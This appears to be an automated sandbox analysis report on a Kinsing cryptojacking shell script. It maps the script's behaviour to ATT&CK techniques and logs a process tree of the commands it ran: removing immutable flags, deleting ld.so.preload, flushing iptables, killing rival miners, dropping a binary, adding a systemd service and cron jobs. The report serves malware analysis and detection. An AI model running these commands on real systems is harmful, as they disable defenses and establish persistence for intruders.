kinsing | c06a44e96326c98d5909febc2f3389e84a8a5a90235b785f3d232f2496aaeeeb

privilege_escalation defense_evasion

description	ioc	Process
File opened for modification	/etc/ld.so.preload	21c9ee9681865b3f6a20ac8149a5b7d54ab76ad22ab02ba23c4261ee2a303aeb_offset-manipulation.sh

File and Directory Permissions Modification 1 TTPs 8 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
2219	chmod
2192	chmod
2194	chmod
2203	chmod
2205	chmod
2210	chmod
2212	chmod
2218	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/etc/data/kinsing	2220	21c9ee9681865b3f6a20ac8149a5b7d54ab76ad22ab02ba23c4261ee2a303aeb_offset-manipulation.sh

Flushes firewall rules 1 TTPs 1 IoCs

Flushes/ disables firewall rules inside the Linux kernel.

defense_evasion

Disable or Modify System Firewall

T1562.004

pid	Process
734	iptables

Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 1 IoCs

Abuse sudo or cached sudo credentials to execute code.

Sudo and Sudo Caching

T1548.003

pid	Process
1950	sudo

Creates/modifies Cron job 1 TTPs 64 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

persistence privilege_escalation

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.mNtJ0e	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.grkHPO	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.k1y7MO	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.gBYqaK	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.3q06aM	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.lQCcAK	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.LHxw9M	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.7njWOo	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.R85jyu	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.o3z9zy	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.iixF0g	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.YLDIET	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.yjf0Pe	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.n4Bfki	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.qxiZ7e	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.rnSNfC	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.TwaFaP	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.xtzzL2	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.6Ysqnu	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.VEJ8zz	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.Z3M1z2	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.hWyomM	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.kEefvV	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.bdONeb	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.5cQ53s	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.LV3tu2	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.jEkbtk	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.NlGLei	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.Z5IKTL	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.7ZkWH3	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.2YP0XF	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.R7Dlno	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.Z4OkRn	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.HDHtDg	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.yg6WVm	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.59fCeb	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.3hfsE1	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.966cXd	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.LtqxwN	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.wFNSTj	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.4Xz7YS	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.BdJne9	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.kowFfH	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.CEeWki	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.3YD2b4	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.qyuqvw	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.K2omEh	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.WSSuQb	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.3cnnbi	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.mFBLus	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.qVseJY	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.u8tCcn	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.0jxcOu	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.NW9tLL	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.QAxn5H	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.867bi0	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.EM1GmK	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.mJZsUY	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.YPFTvk	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.b4Aoth	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.nEqhhd	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.oDBW7O	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.Cb0fHd	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.vHI6Zb	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/lib/systemd/system/bot.service	21c9ee9681865b3f6a20ac8149a5b7d54ab76ad22ab02ba23c4261ee2a303aeb_offset-manipulation.sh

Removes the immutable protection flag from a file 1 TTPs 50 IoCs

Uses chattr to remove the immutable flag from a file, allowing previously write-protected files to be modified or deleted.

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
2038	xargs
2062	xargs
2110	sed
2121	xargs
2159	xargs
1978	xargs
2044	xargs
2100	xargs
728	chattr
730	chattr
1953	uname
2009	xargs
2056	xargs
2094	xargs
2125	sed
2130	xargs
1983	xargs
2050	xargs
2118	xargs
2122	sed
2170	xargs
2186	xargs
1988	xargs
2031	xargs
2095	sed
2101	sed
2116	sed
2128	sed
2142	xargs
1994	xargs
2026	xargs
2098	sed
2103	xargs
2106	xargs
2109	xargs
2127	xargs
2147	xargs
1973	xargs
2104	sed
2112	xargs
2124	xargs
1999	xargs
2014	xargs
2019	xargs
2097	xargs
2107	sed
2119	sed
2181	xargs
723	chattr
2004	xargs

Discovers running processes 1 TTPs 12 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

Process Discovery

T1057

pid	Process
2005	ps
2022	ps
2027	ps
2090	ps
2182	ps
1995	ps
2000	ps
2010	ps
2015	ps
2138	ps
2143	ps
1990	ps

Reads CPU attributes 1 TTPs 64 IoCs

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill

Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/18/cmdline	pkill
File opened for reading	/proc/6/cmdline	ps
File opened for reading	/proc/1988/stat	ps
File opened for reading	/proc/679/cmdline	ps
File opened for reading	/proc/3/cmdline	ps
File opened for reading	/proc/73/cmdline	pkill
File opened for reading	/proc/242/cmdline	ps
File opened for reading	/proc/10	ls
File opened for reading	/proc/20/status	pkill
File opened for reading	/proc/13/cmdline	ps
File opened for reading	/proc/710/status	ps
File opened for reading	/proc/676/status	pkill
File opened for reading	/proc/674/cmdline	pkill
File opened for reading	/proc/1996/status	ps
File opened for reading	/proc/332/cmdline	pkill
File opened for reading	/proc/125/status	pkill
File opened for reading	/proc/2/cmdline	pkill
File opened for reading	/proc/36/cmdline	ps
File opened for reading	/proc/24/status	ps
File opened for reading	/proc/6/cmdline	pkill
File opened for reading	/proc/367/status	ps
File opened for reading	/proc/37/stat	ps
File opened for reading	/proc/334/status	pkill
File opened for reading	/proc/23/cmdline	ps
File opened for reading	/proc/430/stat	ps
File opened for reading	/proc/674/stat	ps
File opened for reading	/proc/71/cmdline	ps
File opened for reading	/proc/1998/cmdline	ps
File opened for reading	/proc/82/cmdline	pkill
File opened for reading	/proc/18/cmdline	pkill
File opened for reading	/proc/9/cmdline	pkill
File opened for reading	/proc/76/cmdline	pkill
File opened for reading	/proc/1990/cmdline	ps
File opened for reading	/proc/367/stat	ps
File opened for reading	/proc/filesystems	pkill
File opened for reading	/proc/10/status	pkill
File opened for reading	/proc/17/cmdline	pkill
File opened for reading	/proc/332/cmdline	pkill
File opened for reading	/proc/332/status	pkill
File opened for reading	/proc/75/status	pkill
File opened for reading	/proc/154/status	ps
File opened for reading	/proc/334/stat	ps
File opened for reading	/proc/20/status	pkill
File opened for reading	/proc/79/status	pkill
File opened for reading	/proc/2078/cmdline	pkill
File opened for reading	/proc/77/cmdline	pkill
File opened for reading	/proc/676/status	pkill
File opened for reading	/proc/2/status	pkill
File opened for reading	/proc/718/status	ps
File opened for reading	/proc/331/status	pkill
File opened for reading	/proc/72/status	pkill
File opened for reading	/proc/332/status	pkill
File opened for reading	/proc/82/status	ps
File opened for reading	/proc/332/stat	ps
File opened for reading	/proc/77/cmdline	ps
File opened for reading	/proc/36/cmdline	ps
File opened for reading	/proc/14/cmdline	ps
File opened for reading	/proc/2/status	pkill
File opened for reading	/proc/2/cmdline	pkill
File opened for reading	/proc/6/status	pkill
File opened for reading	/proc/674/status	pkill
File opened for reading	/proc/36/status	ps
File opened for reading	/proc/70/cmdline	ps
File opened for reading	/proc/75/status	ps

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

System Network Configuration Discovery

T1016

pid	Process
714	21c9ee9681865b3f6a20ac8149a5b7d54ab76ad22ab02ba23c4261ee2a303aeb_offset-manipulation.sh
1869	ls
2325	sed

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sh-thd.VJvDOT	21c9ee9681865b3f6a20ac8149a5b7d54ab76ad22ab02ba23c4261ee2a303aeb_offset-manipulation.sh

/tmp/21c9ee9681865b3f6a20ac8149a5b7d54ab76ad22ab02ba23c4261ee2a303aeb_offset-manipulation.sh
/tmp/21c9ee9681865b3f6a20ac8149a5b7d54ab76ad22ab02ba23c4261ee2a303aeb_offset-manipulation.sh
1⤵
- Modifies the dynamic linker configuration file
- Executes dropped EXE
- Modifies systemd
- System Network Configuration Discovery
- Writes file to tmp directory
PID:714
- /usr/bin/chattr
  chattr -i /etc/ld.so.preload
  2⤵
  - Removes the immutable protection flag from a file
  PID:723
- /bin/rm
  rm -f /etc/ld.so.preload
  2⤵
  PID:727
- /usr/bin/chattr
  chattr -R -ia /var/spool/cron
  2⤵
  - Removes the immutable protection flag from a file
  PID:728
- /usr/bin/chattr
  chattr -ia /etc/crontab
  2⤵
  - Removes the immutable protection flag from a file
  PID:730
- /sbin/iptables
  iptables -F
  2⤵
  - Flushes firewall rules
  PID:734
- /bin/rm
  rm -rf /usr/bin/nginxd
  2⤵
  PID:741
- /bin/rm
  rm -rf /usr/bin/nginxd
  2⤵
  PID:743
- /bin/rm
  rm -rf /usr/bin/softirq
  2⤵
  PID:744
- /bin/grep
  grep exe
  2⤵
  PID:747
- /bin/ls
  ls -latrh /proc/1
  2⤵
  PID:746
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:750
- /bin/grep
  grep -q systemd
  2⤵
  PID:753
- /bin/grep
  grep -q deleted
  2⤵
  PID:755
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:758
- /bin/grep
  grep exe
  2⤵
  PID:762
- /bin/ls
  ls -latrh /proc/10
  2⤵
  - Reads runtime system information
  PID:761
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:765
- /bin/grep
  grep -q systemd
  2⤵
  PID:768
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:770
- /bin/grep
  grep exe
  2⤵
  PID:773
- /bin/ls
  ls -latrh /proc/11
  2⤵
  PID:772
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:776
- /bin/grep
  grep -q systemd
  2⤵
  PID:778
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:780
- /bin/grep
  grep exe
  2⤵
  PID:783
- /bin/ls
  ls -latrh /proc/110
  2⤵
  PID:782
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:785
- /bin/grep
  grep -q systemd
  2⤵
  PID:787
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:789
- /bin/grep
  grep exe
  2⤵
  PID:792
- /bin/ls
  ls -latrh /proc/12
  2⤵
  PID:791
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:794
- /bin/grep
  grep -q systemd
  2⤵
  PID:796
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:798
- /bin/ls
  ls -latrh /proc/124
  2⤵
  PID:800
- /bin/grep
  grep exe
  2⤵
  PID:801
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:803
- /bin/grep
  grep -q systemd
  2⤵
  PID:805
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:807
- /bin/grep
  grep exe
  2⤵
  PID:810
- /bin/ls
  ls -latrh /proc/125
  2⤵
  PID:809
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:812
- /bin/grep
  grep -q systemd
  2⤵
  PID:814
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:816
- /bin/grep
  grep exe
  2⤵
  PID:819
- /bin/ls
  ls -latrh /proc/13
  2⤵
  PID:818
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:821
- /bin/grep
  grep -q systemd
  2⤵
  PID:823
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:825
- /bin/grep
  grep exe
  2⤵
  PID:828
- /bin/ls
  ls -latrh /proc/14
  2⤵
  PID:827
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:830
- /bin/grep
  grep -q systemd
  2⤵
  PID:832
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:834
- /bin/grep
  grep exe
  2⤵
  PID:837
- /bin/ls
  ls -latrh /proc/15
  2⤵
  PID:836
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:839
- /bin/grep
  grep -q systemd
  2⤵
  PID:841
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:843
- /bin/grep
  grep exe
  2⤵
  PID:846
- /bin/ls
  ls -latrh /proc/154
  2⤵
  PID:845
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:848
- /bin/grep
  grep -q systemd
  2⤵
  PID:850
- /bin/grep
  grep -q deleted
  2⤵
  PID:852
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:854
- /bin/grep
  grep exe
  2⤵
  PID:857
- /bin/ls
  ls -latrh /proc/159
  2⤵
  PID:856
- /bin/grep
